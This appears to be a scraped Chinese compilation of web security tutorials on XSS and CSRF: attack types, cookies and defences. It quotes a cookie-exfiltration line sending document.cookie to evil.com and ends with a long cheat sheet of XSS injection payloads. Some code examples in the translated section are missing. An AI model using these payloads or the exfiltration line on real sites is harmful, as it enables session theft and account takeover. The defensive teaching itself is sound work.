精华内容
下载资源
问答
  • 2021-10-11 11:57:57
    XSS攻击

    XSS, 即为(Cross Site Scripting), 中文名为跨站脚本, 是发生在目标用户的浏览器层面上的,当渲染 DOM 树的过程成发生了不在预期内执行的 JS 代码时, 这个不在预期的JS代码是攻击者将恶意代码植入到提供给其它用户使用的页面中 ,就发生了 XSS 攻击。

    跨站脚本攻击有可能造成以下影响。
    利用虚假输入表单骗取用户个人信息。
    利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,
    帮助攻击者发送恶意请求。
    显示伪造的文章或图片。

    反射性XSS

    反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。
    攻击者构造出特殊的 URL,其中包含恶意代码
    用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器
    用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
    恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

    存储型XSS

    存储型XSS漏洞的成因与反射型的根源类似,不同的是恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码,用户访问服务器-跨站链接-返回跨站代码。
    攻击者将恶意代码提交到目标网站的数据库中
    用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器
    用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
    恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

    基于DOM的XSS

    攻击者构造出特殊的 URL,其中包含恶意代码
    用户打开带有恶意代码的 URL
    用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行
    恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

    反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
    DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

    XSS攻击防范

    设置 cookie 的 HttpOnly 属性,以禁止脚本访问到cookie
    对用户的输入进行检查,进行特殊字符过滤。

    CSRF攻击

    CSRF 英文全称是 Cross-site request forgery,又称为“跨站请求伪造”。 顾名思义,CSRF 攻击就是黑客引诱用户打开黑客的网站,利用用户的登陆状态发起跨站请求。 降维解释:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。 利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证, 达到冒充用户对被攻击的网站执行某项操作的目的。

    受害者登录a.com,并保留了登录凭证(Cookie)
    攻击者引诱受害者访问了b.com
    b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie
    a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求
    a.com以受害者的名义执行了act=xx
    攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作

    攻击实现

    最容易实现的是 Get 请求,一般进入黑客网站后,可以通过设置 img的 src 属性来自动发起请求
    在黑客的网站中,构造隐藏表单来自动发起 Post 请求
    通过引诱链接诱惑用户点击触发请求,利用 a 标签的 href。
    CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。
    CSRF 攻击成本也比 XSS 低,用户每天都要访问大量网页,无法确认每一个网页的合法性, 从用户角度来说,无法彻底防止 CSRF 攻击。

    攻击特点

    • 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生;
    • 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据;
    • 整个过程攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息;
    • 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪;

    防范技术

    防范CSRF攻击,其实本质就是要求网站能够识别出哪些请求是非正常用户主动发起的。 这就要求我们在请求中嵌入一些额外的授权数据,让网站服务器能够区分出这些未授权的请求,比如说在请求参数中添加一个字段,这个字段的值从登录用户的Cookie或者页面中获取的(这个字段的值必须对每个用户来说是随机的,不能有规律可循)。攻击者伪造请求的时候是无法获取页面中与登录用户有关的一个随机值或者用户当前cookie中的内容的,因此就可以避免这种攻击。

    阻止外域访问

    a. 同源检测:服务器端通过请求的Origin Header和Referer Header,判断请求的来源。
    b. Samesite Cookie:控制只有同域(子域)能访问Cookie。 完全禁止第三方Cookie,跨站点访问时,任何情况下都不会发送Cookie。

    随机数一致性检测
    • 令牌同步模式
      令牌同步模式(Synchronizer token pattern,简称STP)是在用户请求的页面中的所有表单中嵌入一个token,在服务端验证这个token的技术。token可以是任意的内容,但是一定要保证无法被攻击者猜测到或者查询到。攻击者在请求中无法使用正确的token,因此可以判断出未授权的请求。
      a. CSRF Token:用户登录后,生成随机值csrf_token,用户提交的操作类(POST)请求中,提交的表单中携带csrf_token,服务器端判断csrf_token是否正确。
      b. 双重Cookie验证:Cookie中保存csrf_token,用户提交表单中也携带csrf_token,服务器端判断两个值是否一致。

    上述几条防范措施,语义一致性是推荐措施,虽然它不能防范CSRF攻击,但是可以减少防范的范围,只对POST请求进行防范。剩下的四种防范方法中,CSRF Token是最成熟、使用最广泛的方法,建议采用。

    XSS 与 CSRF 的区别

    CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。
    CSRF 攻击成本也比 XSS 低,用户每天都要访问大量网页,无法确认每一个网页的合法性, 从用户角度来说,无法彻底防止 CSRF 攻击。

    参考资料

    • https://houbb.github.io/2020/08/09/web-safe-04-csrf
    更多相关内容
  • XSS跨站脚本攻击剖析与防御》是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做...
  • web安全技术-实验七、跨站脚本攻击(xss)(反射型)
  • 网络上曾经有过关于跨站脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于跨站脚本认识上的混乱,导致现在很多的程序包括...
  • 此文档是本人亲自整理过的相对通俗易懂的一个跨站脚本攻击实例解析
  • 人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。
  • 跨站脚本攻击漏洞修补文件aspx版,使用方法:1.将App_Code目录拷贝到web根目录  假如已经存在App_Code目录,那直接把App_Code目录里的360safe.cs文件拷贝到当前的App_Code目录即可。  2.将Global.asax文件拷贝到web...
  • NULL 博文链接:https://gqsunrise.iteye.com/blog/2214704
  • 《XSS跨站脚本攻击剖析与防御》【完整版274页-带书签】.pdf。很好的资料,可以读一读。本资料搜集自互联网,仅供学习之用,严禁用于商业用途,如有版权问题,请联系删除。
  • XSS指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的...这篇文章主要给大家介绍了关于跨站脚本攻击XSS(Cross Site Script)的原理与常见场景的相关资料,需要的朋友可以参考下。
  • XSS跨站脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了...
  • 修补跨站脚本攻击漏洞aspx版
  • 这些规则适用于所有不同类别的XSS跨站脚本攻击,可以通过在服务端执行适当的解码来定位映射的XSS以及存储的XSS,由于XSS也存在很多特殊情况,因此强烈推荐使用解码库。另外,基于XSS的DOM也可以通过将这些规则运用在...
  • XSS跨站脚本攻击在Java开发中防范的方法
  • XSS(Cross Site Script)跨站脚本攻击。它指的是恶意攻击者往Web 页面里插入恶 意html 代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而 达到恶意用户的特殊目的。本文介绍了该攻击方式,并给出...
  • 首先,跨站脚本攻击都是由于对用户的输入没有进行严格的过滤造成的,所以我们必须在所有数据进入我们的网站和数据库之前把可能的危险拦截。针对非法的HTML代码包括单双引号等,可以使用htmlentities() 。
  • 可以修补动网论坛等aspx建的网站的跨站脚本攻击漏洞,修护XSS漏洞,此为aspx版的,还有asp版、php版,可以在本下载 详情请参看:http://www.lbhao.com/detaile_ok-5-833.html
  • XSS跨站脚本攻击剖析与防御(完整版).pdf,完整版电子书,可以下载下来学习,很好的学习资料
  • 跨站脚本攻击(XSS)

    2021-06-26 06:32:48
    跨站脚本攻击(XSS)是一种客户端代码注入攻击。攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送...

    bca78102c8dd8b2eef142fb3453d56f3.gif

    跨站脚本攻击(XSS)是一种客户端代码注入攻击。攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送到用户浏览器的工具。通常受到跨站脚本攻击的网页包括论坛、留言板以及可以评论的网页。

    如果网页将用户的原始输入作为网页内容,那么它很容易受到 XSS 攻击,因为这类用户输入一定会被受害者的浏览器解析。XSS 攻击可能存在于 VBScript、ActiveX、Flash,甚至 CSS 中。但它在 JavaScript 中最常见,主要是因为 JavaScript 是大多数浏览体验的基础。

    348726de4bf52df462d694e32bf6025b.png

    “跨站脚本攻击只影响用户吗?”

    如果攻击者能利用某网页上的 XSS 漏洞,在用户浏览器上执行任意的 JavaScript 代码,那么该网站和它的用户都会被影响。像其他安全性问题一样,XSS 不只会给用户造成困扰。如果它影响了你的用户,那么它也会影响你。

    跨站脚本攻击也可能用于丑化原网站,而不是攻击网站用户。攻击者通过注入脚本,改变网站的内容,或者甚至将当前页面重定向到另一个网页,例如一个有恶意代码的网页。

    攻击者能利用 JavaScript 做什么?

    与诸如 SQL 注入这样的漏洞相比,我们一般会认为 XSS 漏洞是低风险的。起初,能在网页端执行 JavaScript 引起的后果可能并不严重。大多数浏览器都是在严格受控的环境中运行 JavaScript,这使得 JavaScript 在访问用户的操作系统和文件上受到限制。但是,如果将 JavaScript 用于恶意内容中,它仍然会带来一定的风险:

    网页其余部分能访问的所有对象,恶意的 JavaScript 都能访问。包括访问用户的 cookie。用户的 cookie 通常被用来存储会话标志。如果攻击者获得了用户的会话 cookie,他们便能伪装成该用户,利用其身份执行操作,并且访问用户的敏感数据。

    JavaScript 可以读取并任意修改浏览器中的 DOM。还好,该情形只可能发生在 JavaScript 当前运行的网页中。

    JavaScript 可使用 XMLHttpRequest 对象,向任意站点发送带有任意数据的 HTTP 请求。

    现代浏览器中的 JavaScript 可使用 HTML5 接口。例如可访问用户的地理位置、摄像头、麦克风,甚至是用户文件系统中的指定文件。虽然这些接口大多数都需要经过用户同意,但攻击者可通过社会工程学绕过这些限制。

    通过以上几点,并结合社会工程学,不法之徒可发起更高级的攻击,包括:盗窃 Cookie、种植木马、记录密钥、网络钓鱼和盗窃身份。XSS 漏洞提供了完美的空间将攻击升级为更严重的攻击。跨站脚本攻击经常与其他类型的攻击一起被使用,例如:跨站请求伪造(CSRF)。

    跨站脚本攻击的类型包括:存储型/持久化的 XSS、 反射型/非持久化的 XSS 和 基于 DOM 的 XSS。你可在 XSS 的类型一文中了解更多内容。

    跨站脚本攻击如何工作

    典型的 XSS 攻击有两个阶段:

    为了在受害者的浏览器中运行恶意 JavaScript 代码,攻击者必须先找到一种方式将恶意代码注入到受害者访问的网页中。

    之后,受害者必须访问有恶意代码的网页。如果攻击者有特定的攻击目标,该攻击者可使用社会工程学结合(或)网络钓鱼的方式给受害者发送恶意网址。

    要完成第一步,易受攻击的网站需要将用户的输入直接包含在它的页面中。之后攻击者便能插入恶意代码片段,这些代码将在网页中使用并被受害者的浏览器视为源代码。也有一些 XSS 攻击的变体,攻击者利用社会工程学诱导用户访问某网址,并且该网址中就包含了恶意代码。

    以下是服务端伪代码片段,用于在网页中展示最近的评论:

    print ""

    print "

    Most recent comment

    "

    print database.latestComment

    print ""

    复制代码

    以上脚本很简单,作用是从数据库中取出最近的评论并放入 HTML 页面中。这段脚本默认页面展示的评论是纯文本,而不包含 HTML 标签或其他代码。这就导致了页面很容易遭受 XSS 攻击,因为攻击者可以提交包含恶意代码的评论。例如当评论的内容是以下代码:

    doSomethingEvil();

    复制代码

    网站服务端为访问该网页的用户提供以下 HTML 代码:

    Most recent comment

    doSomethingEvil();

    复制代码

    当受害者的浏览器加载该页面时,攻击者的恶意脚本开始执行。受害者常常不会意识到这类情形,也不能阻止这类攻击。

    使用 XSS 攻击偷取 Cookie

    不法之徒经常使用 XSS 攻击偷取 cookie。如此他们便能伪装成受害者。攻击者有多种方式将 cookie 发送到他们自己的服务器。其中一种方式是在受害者浏览器中执行以下客户端代码:

    window.location = "http://evil.com/?cookie=" + document.cookie;

    复制代码

    下图展示了简单 XSS 攻击的各步骤。

    2bec887058ed872f5fa0a26fe84f786a.png

    攻击者通过在提交表单时携带恶意 JavaScript 内容,将恶意内容注入到网站的数据库中。

    受害者向网站服务端请求网页。

    网站服务端将攻击者的恶意内容作为 HTML 内容的一部分,并返回给受害者的浏览器。

    受害者的浏览器执行包含在 HTML 中的恶意脚本。在该场景中,它将受害者的 cookie 发送到攻击者的服务器。

    在 HTTP 请求抵达服务器时,攻击者只需从请求中提取受害者的 cookie 即可。

    攻击者可以使用刚刚偷窃的受害者 cookie 进行伪装。

    想了解更多如何实现 XSS 攻击,你可以参考一份跨站脚本攻击的综合教程。

    跨站脚本攻击方式

    以下列表包含常见的 XSS 攻击方式,攻击者可使用它们降低网站的安全性。OWASP 组织维护了一个更完整的 XSS 攻击方式的列表:XSS Filter Evasion Cheat Sheet。

    复制代码

    JavaScript 事件

    像 onload 和 onerror 这类 JavaScript 事件属性能在很多种标签中使用。这也是一类非常流行的 XSS 攻击方式。

    复制代码

    标签中,除了像上面一样,可以通过事件属性实现 XSS 攻击代码外,还可以通过更多鲜为人知的属性,比如:background 属性。

    复制代码

    标签

    一部分浏览器会执行 属性中的 JavaScript 代码。

    复制代码

    标签

    标签的功能是将另一个 HTML 页面嵌入到当前页面中。由于内容安全协议(CSP),尽管 IFrame 中可能有 JavaScript 代码,但这些代码没有权限访问父页面上的 DOM。然而,IFrame 仍然是发起网络钓鱼攻击的有效方式。

    复制代码

    标签

    在一些浏览器中,如果 标签的 type 属性被设置成 image,那么它便能嵌入脚本。

    复制代码

    标签

    标签通常用于链接外部样式表,但也可以包含脚本。

    复制代码

    复制代码

    标签

    标签也可以通过 background 属性嵌入脚本。

    复制代码

    标签

    标签能用于引入外部网站的脚本。

    复制代码

    你的网站是否易受跨站脚本攻击?

    跨站脚本攻击漏洞是最常见的网站漏洞之一。OWASP 组织(开放网络应用安全工程)在 OWASP Top 10 2017 一文中将 XSS 漏洞列为第二流行问题。

    幸运的是,通过运行 Acunetix 的漏洞扫描器对网站进行自动扫描,将很容易测试你的网站是否存在 XSS 漏洞或其他漏洞。Acunetix 的漏洞扫描器 包含专门的 XSS 漏洞扫描模块。你可以在这个例子中找到更多有关对网站运行 XSS 漏洞扫描的信息。如何检测盲目 XSS 攻击漏洞一文中介绍了如何使用 Acunetix 检测盲目 XSS 攻击漏洞的例子。

    如何避免 XSS 攻击

    为了免受 XSS 攻击,你必须对用户的输入进行校验。你的应用代码不应该在没有检查接收的数据是否是恶意代码的情况下,直接将收到的数据输出给浏览器。

    参考这些文章获取更多细节:预防 XSS 攻击和预防基于 DOM 的跨站脚本攻击。你也可以在 OWASP 维护的预防 XSS 攻击的速查表中找到有用的信息。

    如何预防跨站脚本攻击(XSS)—— 通用技巧

    预防跨站脚本攻击(XSS)并不容易。特定的预防技术和 XSS 漏洞的类型、用户输入时的场景上下文和编程框架相关。尽管如此,你仍然可以遵循一些通用策略来确保网站安全。

    第一步:培训并保持安全意识

    为了保证你的网站安全,所有参与搭建该网站的人员都必须意识到 XSS 漏洞相关的风险。你应该为所有开发者、测试员工、运维员工和系统管理员提供适量的安全培训。你可以让他们参考这篇文章作为安全培训的开始。

    第二步:不要信任任何用户输入

    将所有用户输入都看作不可信的。任何被用作 HTML 输出结果的用户输入都有 XSS 攻击的风险。对待授权用户或内部员工的输入,也应该像对待外部用户输入一样,将其视为不可信。

    第三步:使用转义或编码

    根据用户输入内容的使用场景,使用合适的转义或编码技术,比如:HTML 转义、JavaScript 转义、CSS 转义、URL 转义等等。不到万不得已,不要自己写转义库,尽量使用已经存在的转义库。

    第四步:清理 HTML

    如果用户输入包含 HTML 内容,那么不能对这些内容进行转义,否则将导致标签不合法(译者注:例如期望

    ,但转义后结果为 <div>)。在这种情况下,使用信任的并且验证过的库对 HTML 进行分析和清理。选择哪个库需根据你的开发语言而定,例如:在 .NET 上使用 HtmlSanitizer,在 Ruby on Rails 上使用 SanitizeHelper。

    第五步:设置 HttpOnly 标志

    为了减轻可能存在的 XSS 漏洞造成的后果,可开启 cookie 的 HttpOnly 标志。这样客户端 JavaScript 将不能访问这些 cookie。

    第六步:使用内容安全协议

    为了减轻可能存在的 XSS 漏洞造成的后果,也可以使用内容安全协议(CSP)。CSP 是一个 HTTP 响应头,它可以根据当前请求的资源声明哪些动态资源是允许被加载的。

    第七步:周期性扫描

    XSS 漏洞可能被开发者引入,也可能被外部库、模块或软件引入。你应该使用网站漏洞扫描器(比如 Acunetix)周期性扫描你的网站。如果你使用 Jenkins,你可以安装 Acunetix 插件,实现每次构建时进行自动扫描。

    FAQ

    跨站脚本攻击是如何工作的?

    在跨站脚本攻击(XSS)中,攻击者通过有漏洞的网页将恶意 JavaScript 代码发送给用户。用户的浏览器在用户的电脑上执行恶意 JavaScript 代码。值得注意的是,大约三分之一的网站都存在跨站脚本攻击漏洞。

    为什么跨站脚本攻击是危险的?

    尽管跨站脚本攻击发生在用户的浏览器,它仍然有可能对你的网站造成影响。例如,攻击者可以使用 XSS 窃取用户凭证并伪装成该用户登录你的网站。如果被窃取的用户是网站管理员,则攻击者将对你的网站有更多控制权。

    查看过去发生的一例高风险的 XSS 攻击例子。

    如何发现跨站脚本攻击漏洞

    为了发现跨站脚本漏洞,你可以进行人工渗透测试或者先使用漏洞扫描器。如果你使用了漏洞扫描器,那么你将节约许多时间和钱,因为你的渗透测试人员可以聚焦到更有挑战的漏洞中。

    查看为什么在雇佣测试人员之前,使用漏洞扫描器是个不错的选择。

    如何防御跨站脚本攻击

    为了防御跨站脚本攻击,你必须周期性扫描你的网站,或者至少在每次修改了代码后都扫描一次。之后,开发者必须进行正确的编码才能消除漏洞。与流行的观点相悖,网站防火墙不能防御跨站脚本攻击,他们仅仅使攻击变得更困难 —— 但漏洞仍然存在。

    转自:https://www.acunetix.com/websitesecurity/cross-site-scripting/

    举报/反馈

    展开全文
  • 阐述了XSS的基础知识,剖析了XSS攻击的原理和危害 主要讲解了XSS测试工具,发掘XSS漏洞技术,XSS Worm防御、Flash应用安全等 本书浅显易懂,特别适合初学者学习。
  • 目前网站的安全问题日益突出,详细地介绍了XSS攻击的漏洞类型,并对每种漏洞攻击进行了实例分析,通过对真实的入侵实例进行分析,总结了XSS攻击防范的方法,为XSS攻击防范提供了一些参考,减少了网站被XSS攻击的可能...
  • 可以修补动网论坛等php建的网站的跨站脚本攻击漏洞,修护XSS漏洞,此为php版的,还有asp版、aspx版,可以在本下载 详情请参看:http://www.lbhao.com/detaile_ok-5-833.html
  • xss跨站脚本攻击详解

    2018-06-08 15:18:01
    该文档主要说明了一些简单的xxs(跨站脚本攻击)简介,分类,构造,以及解决办法
  • asp防范站点脚本攻击的的方法
  • XSS跨站脚本攻击漏洞

    千次阅读 2022-01-10 11:40:01
    XSS跨站脚本攻击漏洞 文章目录XSS跨站脚本攻击漏洞0x01 XSS 背景0x02 XSS 概论利用XSS漏洞XSS攻击的类型反射型XSS:存储型XSS:DOM型XSS:0x03 最常见的cookies类型a.Session Cookieb.Persistent Cookiec.Secure ...

    XSS跨站脚本攻击漏洞

    在这里插入图片描述

    0x01 XSS 背景

    思科2018年度安全报告的结果显示,40%的能使网络瘫痪的攻击都是XSS攻击,这是最常用的攻击技术。当攻击者使用web应用程序在用户的计算机上发送或执行恶意代码时,就会发生这种特殊的攻击。

    随着应用层的攻击越来越多,它已经成为网络安全的严重威胁。
    对于大量应用程序来说,这已经是最大的安全性问题,特别是那些高可用性操作或优先服务中实现的应用程序,如医疗、银行、电子商务等。

    根据**《2018年全球安全报告》(global security report 2018)给出的数据,平均每个应用程序大约有11个漏洞隐患。
    这份报告显示,网络攻击正变得越来越具体、越来越频繁、越来越复杂。
    在这里插入图片描述
    其中,所占攻击比重最大的是
    跨站点脚本攻击(XSS), 占总体攻击的40%,紧接着是SQL注入24%,cross-section为7%**,本地文件包含4%,分布式拒绝服务(DDoS)为3%。

    当web应用程序从受害者计算机的浏览器执行恶意代码(通常以脚本的形式)时,就会发生XSS攻击。通过这种攻击,攻击者会窃取个人信息,或者窃取用户的cookies。

    根据CWE/SANS列出的前25个最危险的漏洞,分为三类

    • 组件之间的不安全交互(6个错误)
    • 风险资源管理(8个错误)
    • 多孔性防御(11处错误)

    0x02 XSS 概论

    为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。跨站点脚本(XSS)攻击是一种注射型攻击,攻击者在可信的网页中嵌入恶意代码,用户访问可信网页时触发XSS而被攻击。

    利用XSS漏洞

    web应用程序的内容可用来插入各种广告,影响商业网站的声誉或欺骗用户。
    从开放会话中窃取会话cookie,并在这些会话在线时提取信息。
    窃取或冒充合法用户的身份,窃取个人信息。
    如果攻击者滥用这些被窃取的信息,用户的HTTP会话可能会被破坏或劫持。

    XSS攻击的类型

    在这里插入图片描述

    反射型XSS:

    在这种类型中,攻击者放置一个脚本来窃取受害者的cookie,接收到该cookie后,攻击者可以使用受害者的权限执行操作,而不需要使用任何类型的密码。
    这种攻击在搜索引擎中很常见,通常是通过表单、url、cookies、flash程序甚至视频注入代码。
    通过这种方式,代码可通过第三种机制被重定向。例如,通过电子邮件,攻击者可以说服用户点击message中的链接来执行任何JavaScript代码。其结果是将用户的流量重定向到攻击者的web应用程序。如果所述Web应用程序存在XSS漏洞,则其执行将在承载该应用程序的Web站点的可信环境中执行。
    在这里插入图片描述

    存储型XSS:

    攻击者将HTML代码直接注入允许访问的web页面或站点。
    这种攻击需要编程标记(如JavaScript脚本)。这些代码在第一次攻击后对所有用户都是永久的。
    攻击者发送的数据永久地存储在服务器上,然后显示给访问网站的用户。其结果包括:允许执行代码来获得提升的特权,默认用户激活了他们的管理员帐户。
    在这里插入图片描述

    DOM型XSS:

    被认为是一种更复杂、鲜为人知或常见的攻击。不同之处在于,恶意代码是通过URL注入的,而不是在源代码中作为web的一部分加载的。
    检测起来比较困难,它被认为是一个本地的XSS。
    当一个被感染的页面被打开时,恶意代码会利用一些漏洞将自己安装到web浏览器的一个文件中,并且在没有任何预先验证的情况下执行。
    与反射行XSS一样的是,这种攻击需要用户单击链接,因此web页面上的脚本选择URL变量并执行它所包含的代码。这种方法在窃取会话cookie方面更有效。
    在这里插入图片描述
    泄露存储在用户cookies中的信息:用户可以在客户端创建一个脚本,该脚本一旦执行,就会执行一些活动,比如将站点中的所有cookie解析为一个特定的电子邮件地址。

    通过XSS攻击窃取COOKIE

    这些攻击通常用于在数据库中窃取cookies。因此,攻击者执行任意脚本,从受害者的计算机中提取个人信息。

    默认情况下,cookie是维护用户和web应用程序之间的会话身份验证的机制。但是,它们有固有的安全弱点,允许攻击这些会话的完整性。建议使用HTTPS协议来保护cookie,但是性能方面的成本很高,特别是对于那些高分布度的应用程序。

    另一方面,即使启用了HTTPS协议,cookie也可以以多种方式公开。大多数cookie以文本文件或小型数据库的形式存储在用户的计算机中,如SQLite格式(Mozilla Firefox)。它的目标是存储与导航首选项、会话、凭据,诸如浏览器类型或用于访问网站的设备类型等相关的信息。

    0x03 最常见的cookies类型

    a.Session Cookie

    这个类型的cookie只在会话期间内有效,即当关闭浏览器的时候,它会被浏览器删除。
    设置session cookie的办法是:在创建cookie不设置Expires即可。

    b.Persistent Cookie

    持久型cookie顾名思义就是会长期在用户会话中生效。当你设置cookie的属性Max-Age为1个月的话,那么在这个月里每个相关URL的http请求中都会带有这个cookie。所以它可以记录很多用户初始化或自定义化的信息,比如什么时候第一次登录及弱登录态等。

    c.Secure cookie

    安全cookie是在https访问下的cookie形态,以确保cookie在从客户端传递到Server的过程中始终加密的。有效的降低了cookie被盗取的概率。

    d.HttpOnly Cookie

    目前主流的浏览器已经都支持了httponly cookie。
    IE5+/Firefox 1.0+/Opera 8.0+/Safari/Chrome
    在支持httponly的浏览器上,设置成httponly的cookie只能在http(https)请求上传递。也就是说httponly cookie对客户端脚本语言(JavaScript)无效,从而避免了跨站攻击时JS偷取cookie的情况。当使用javascript在设置同样名字的cookie时,只有原来的httponly值会传送到服务器。

    e.3rd-party cookie

    第一方cookie是cookie种植在浏览器地址栏的域名或子域名下。
    第三方cookie则是种植在不同于浏览器地址栏的域名下。例如:用户访问a.com时,在ad.google.com设置了个cookie,在访问b.com的时候,也在ad.google.com设置了一个cookie。

    f.Super Cookie

    Super Cookie是设置公共域名前缀上的cookie。通常a.b.com的cookie可以设置在a.b.com和b.com,而不允许设置在.com上。

    目前,大多数web应用程序使用cookie来维护与用户的会话状态,也就是说,cookie是在用户通过身份验证(会话cookie)后发送的。对于以后的连接,将不需要额外的身份认证,因为验证后的cookie只会在允许新请求时进行验证。

    这种身份验证功能使cookies成为攻击者的潜在目标,因为它们是由网站创建的,包含少量数据,可以在发送方和接收方之间发送。

    例如,一个用户第一次访问一个web页面,他的计算机上保存了一个cookie。如果用户稍后访问同一页面,网站服务器会请求相同的cookie用站点的新配置更新它,这就是用户的访问变得如此个性化的原因。

    当前补救率根据类型的漏洞

    此外,如图,开发人员总是面向修复或纠正最易访问或最容易的问题。例如,应用程序的错误设置的补救率为74%,未修补的库的补救率为62%。然而,最复杂和困难的解决方案仍然是XSS(38%)和SQL注入(32%)

    根据XSS漏洞的类别确定修复率

    0x04常见标签

    **<scirpt>**
    <scirpt>alert("xss");</script>
    
    **<img>标签**
    <img src=javascript:alert("xss")>
    <IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
    <img scr="URL" style='Xss:expression(alert(/xss));'
    <img STYLE="background-image:url(javascript:alert('XSS'))">
    <img src="x" onerror=alert('xss')>
    <img src="1" onerror=eval("alert('xss')")>
    <img src=1 onmouseover=alert('xss')>
    
    **<a>标签**
    <a href="javascript:alert('xss')">aa</a>
    <a href=javascript:eval(alert('xss'))>aa</a>
    <a href="javascript:aaa" onmouseover="alert(/xss/)">a</a>
    <a href="" onclick=alert('xss')>aa</a>
    <a href="" onclick=eval(alert('xss'))>aa</a>
    <a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
    
    **input标签**
    <input value="" onclick=alert('xss') type="text">
    <input onfocus="alert('xss');">
    <input name="name" value="" onmouseover=prompt('xss') bad="">
    <input onblur=alert("xss") autofocus><input autofocus>
    <input onfocus="alert('xss');" autofocus>
    <input name="name" value=""><script>alert('xss')</script>
    
    **<form>**
    <form action=javascript:alert('xss') method="get">
    <form action=javascript:alert('xss')>
    <form method=post action=aa.asp? onmouseover=prompt('xss')>
    <form method=post action=aa.asp? onmouseover=alert('xss')>
    <form action=1 onmouseover=alert('xss)>
    <form method=post action="data:text/html;base64,<script>alert('xss')</script>">
    <form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
    
    **<details>**
    <details ontoggle="alert('xss');">
    <details open ontoggle="alert('xss');">
    
    **<svg>**
    <svg onload=alert("xss");>
    
    **<select>**
    <select onfocus=alert(1)></select>
    <select onfocus=alert(1) autofocus>
    
    **<iframe>标签**
    <iframe onload=alert("xss");></iframe>
    <iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
    <iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
    <iframe src="data:text/html;base64,<script>alert('xss')</script>">
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
    <iframe src="aaa" onmouseover=alert('xss') /><iframe>
    <iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
    
    **svg<>标签**
    <svg onload=alert(1)>
    
    **<video>**
    <video><source onerror="alert(1)">
    
    **<audio>**
    <audio src=x onerror=alert("xss");>
    
    **<body>**
    <body/onload=alert("xss");>
    <body onscroll=alert("xss");><br><br><br><br>
    
    **<textarea>**
    <textarea onfocus=alert("xss"); autofocus>
    
    **<keygen>**
    <keygen autofocus onfocus=alert(1)>
    
    **<marquee>**
    <marquee onstart=alert("xss")></marquee>
    
    **<isindex>**
    <isindex type=image src=1 onerror=alert("xss")>
    
    **expression属性**
    <img style="xss:expression(alert('xss''))"> 
    <div style="color:rgb(''x:expression(alert(1))"></div>
    <style>#test{x:expression(alert(/XSS/))}</style>
    
    **background属性**
    <table background=javascript:alert(1)></table>
    

    0x05 检测XSS的办法

    内容安全策略(CSP)

    内容安全策略是一种安全标准,用于防止XSS、点击劫持攻击和其他类型的弹出式攻击,这些攻击是在网页内容中执行恶意内容的结果。它是W3C工作组关于现代web浏览器支持的web应用程序安全性的建议。

